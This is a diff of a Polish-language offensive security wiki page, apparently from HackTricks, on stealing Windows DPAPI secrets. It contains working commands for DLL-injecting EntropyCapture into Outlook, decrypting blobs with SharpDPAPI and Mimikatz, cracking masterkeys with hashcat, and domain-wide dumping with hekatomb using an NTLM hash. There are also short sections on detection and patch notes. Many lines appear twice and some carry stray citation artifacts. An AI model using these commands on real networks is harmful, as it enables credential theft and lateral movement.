/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -234,7 +234,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Niektóre aplikacje przekazują dodatkową wartość **entropii** do `CryptProtectData`. Bez tej wartości blob nie może być odszyfrowany, nawet jeśli znany jest poprawny klucz główny. Uzyskanie entropii jest zatem niezbędne, gdy celem są poświadczenia chronione w ten sposób (np. Microsoft Outlook, niektóre klienty VPN).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) to DLL w trybie użytkownika, która przechwytuje funkcje DPAPI wewnątrz docelowego procesu i przezroczysto rejestruje wszelką opcjonalną entropię, która jest dostarczana. Uruchomienie EntropyCapture w trybie **DLL-injection** przeciwko procesom takim jak `outlook.exe` lub `vpnclient.exe` wygeneruje plik mapujący każdy bufor entropii do wywołującego procesu i blobu. Przechwycona entropia może być później dostarczona do **SharpDPAPI** (`/entropy:`) lub **Mimikatz** (`/entropy:<file>`), aby odszyfrować dane. citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) to DLL w trybie użytkownika, która przechwytuje funkcje DPAPI wewnątrz docelowego procesu i przezroczysto rejestruje wszelką opcjonalną entropię, która jest dostarczana. Uruchomienie EntropyCapture w trybie **DLL-injection** przeciwko procesom takim jak `outlook.exe` lub `vpnclient.exe` wygeneruje plik mapujący każdy bufor entropii do wywołującego procesu i blobu. Przechwycona entropia może być później dostarczona do **SharpDPAPI** (`/entropy:`) lub **Mimikatz** (`/entropy:<file>`), aby odszyfrować dane.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft wprowadził format masterkey **context 3** począwszy od Windows 10 v1607 (2016). `hashcat` v6.2.6 (grudzień 2023) dodał tryby haszowania **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3), umożliwiając przyspieszone przez GPU łamanie haseł użytkowników bezpośrednio z pliku masterkey. Atakujący mogą zatem przeprowadzać ataki słownikowe lub brute-force bez interakcji z systemem docelowym. citeturn8search1
Microsoft wprowadził format masterkey **context 3** począwszy od Windows 10 v1607 (2016). `hashcat` v6.2.6 (grudzień 2023) dodał tryby haszowania **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3), umożliwiając przyspieszone przez GPU łamanie haseł użytkowników bezpośrednio z pliku masterkey. Atakujący mogą zatem przeprowadzać ataki słownikowe lub brute-force bez interakcji z systemem docelowym.
`DPAPISnoop` (2024) automatyzuje ten proces:
```bash
@ -254,7 +254,6 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Narzędzie może również analizować bloby Credential i Vault, odszyfrować je za pomocą złamanych kluczy i eksportować hasła w postaci tekstu jawnego.
### Uzyskiwanie dostępu do danych z innych maszyn
W **SharpDPAPI i SharpChrome** możesz wskazać opcję **`/server:HOST`**, aby uzyskać dostęp do danych zdalnej maszyny. Oczywiście musisz mieć możliwość dostępu do tej maszyny, a w poniższym przykładzie zakłada się, że **klucz szyfrowania kopii zapasowej domeny jest znany**:
@ -266,50 +265,50 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie, które automatyzuje ekstrakcję wszystkich użytkowników i komputerów z katalogu LDAP oraz ekstrakcję klucza zapasowego kontrolera domeny przez RPC. Skrypt następnie rozwiązuje adresy IP wszystkich komputerów i wykonuje smbclient na wszystkich komputerach, aby odzyskać wszystkie obiekty DPAPI wszystkich użytkowników i odszyfrować wszystko za pomocą klucza zapasowego domeny.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie, które automatyzuje ekstrakcję wszystkich użytkowników i komputerów z katalogu LDAP oraz ekstrakcję klucza zapasowego kontrolera domeny przez RPC. Skrypt następnie rozwiązuje adresy IP wszystkich komputerów i wykonuje smbclient na wszystkich komputerach, aby odzyskać wszystkie DPAPI blobs wszystkich użytkowników i odszyfrować wszystko za pomocą klucza zapasowego domeny.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Z listą komputerów wyekstrahowanych z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
Z listy komputerów wyekstrahowanej z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) może automatycznie zrzucać sekrety chronione przez DPAPI. Wersja 2.x wprowadziła:
* Równoległe zbieranie obiektów z setek hostów
* Parsowanie **kluczy głównych kontekstu 3** i automatyczną integrację łamania Hashcat
* Równoległe zbieranie blobs z setek hostów
* Parsowanie **context 3** masterkeys i automatyczną integrację z Hashcat
* Wsparcie dla zaszyfrowanych ciasteczek "App-Bound" w Chrome (patrz następna sekcja)
* Nowy tryb **`--snapshot`**, aby wielokrotnie sprawdzać punkty końcowe i różnicować nowo utworzone obiekty citeturn1search2
* Nowy tryb **`--snapshot`**, aby wielokrotnie sprawdzać punkty końcowe i porównywać nowo utworzone blobs
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser C# dla plików kluczy głównych/poświadczeń/sejfów, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie uruchamiać łamanie. W pełni obsługuje formaty kluczy głównych maszyn i użytkowników do Windows 11 24H1. citeturn2search0
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser C# dla plików masterkey/credential/vault, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie uruchamiać łamanie. W pełni obsługuje formaty masterkey dla maszyn i użytkowników do Windows 11 24H1.
## Typowe wykrycia
## Wspólne wykrycia
- Dostęp do plików w `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i innych katalogach związanych z DPAPI.
- Szczególnie z udziału sieciowego, takiego jak **C$** lub **ADMIN$**.
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do uzyskania dostępu do pamięci LSASS lub zrzutu kluczy głównych.
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do uzyskania dostępu do pamięci LSASS lub zrzutu masterkeys.
- Wydarzenie **4662**: *Operacja została wykonana na obiekcie* może być skorelowane z dostępem do obiektu **`BCKUPKEY`**.
- Wydarzenie **4673/4674**, gdy proces żąda *SeTrustedCredManAccessPrivilege* (Menadżer poświadczeń)
- Wydarzenie **4673/4674**, gdy proces żąda *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### Luki i zmiany w ekosystemie 2023-2025
* **CVE-2023-36004 Oszustwo kanału zabezpieczeń DPAPI w Windows** (listopad 2023). Atakujący z dostępem do sieci mógłby oszukać członka domeny, aby pobrał złośliwy klucz zapasowy DPAPI, co pozwala na odszyfrowanie kluczy głównych użytkowników. Poprawione w zbiorczym aktualizacji z listopada 2023 administratorzy powinni upewnić się, że kontrolery domeny i stacje robocze są w pełni załatane. citeturn4search0
* **Szyfrowanie ciasteczek "App-Bound" w Chrome 127** (lipiec 2024) zastąpiło tradycyjną ochronę tylko DPAPI dodatkowym kluczem przechowywanym w **Menadżerze poświadczeń** użytkownika. Offline odszyfrowanie ciasteczek teraz wymaga zarówno klucza głównego DPAPI, jak i **klucza związane z aplikacją w formacie GCM**. SharpChrome v2.3 i DonPAPI 2.x są w stanie odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika. citeturn0search0
* **CVE-2023-36004 Oszustwo kanału zabezpieczeń DPAPI w Windows** (listopad 2023). Atakujący z dostępem do sieci mógłby oszukać członka domeny, aby pobrał złośliwy klucz zapasowy DPAPI, co pozwala na odszyfrowanie masterkeys użytkowników. Poprawione w listopadowej aktualizacji zbiorczej 2023 administratorzy powinni upewnić się, że DC i stacje robocze są w pełni załatane.
* **Szyfrowanie ciasteczek "App-Bound" w Chrome 127** (lipiec 2024) zastąpiło starszą ochronę tylko DPAPI dodatkowym kluczem przechowywanym w **Credential Manager** użytkownika. Offline odszyfrowanie ciasteczek teraz wymaga zarówno masterkey DPAPI, jak i **klucza związane z aplikacją w formacie GCM**. SharpChrome v2.3 i DonPAPI 2.x są w stanie odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
## Odnośniki
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}